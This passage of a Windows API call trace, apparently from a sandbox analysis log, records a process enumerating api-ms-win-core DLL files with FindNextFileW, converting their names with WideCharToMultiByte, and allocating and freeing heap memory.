(HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.416] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xf6c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.416] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xf6c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.416] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xf6c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.416] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.416] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0223.416] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xf6c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.417] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xf6c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.417] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xf6c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.417] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xf6c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.417] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.417] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0223.417] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0xf6c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.418] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xf6c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.418] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xf6c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.418] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xf6c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0223.418] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.418] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.419] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0xf6c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.419] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0xf6c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 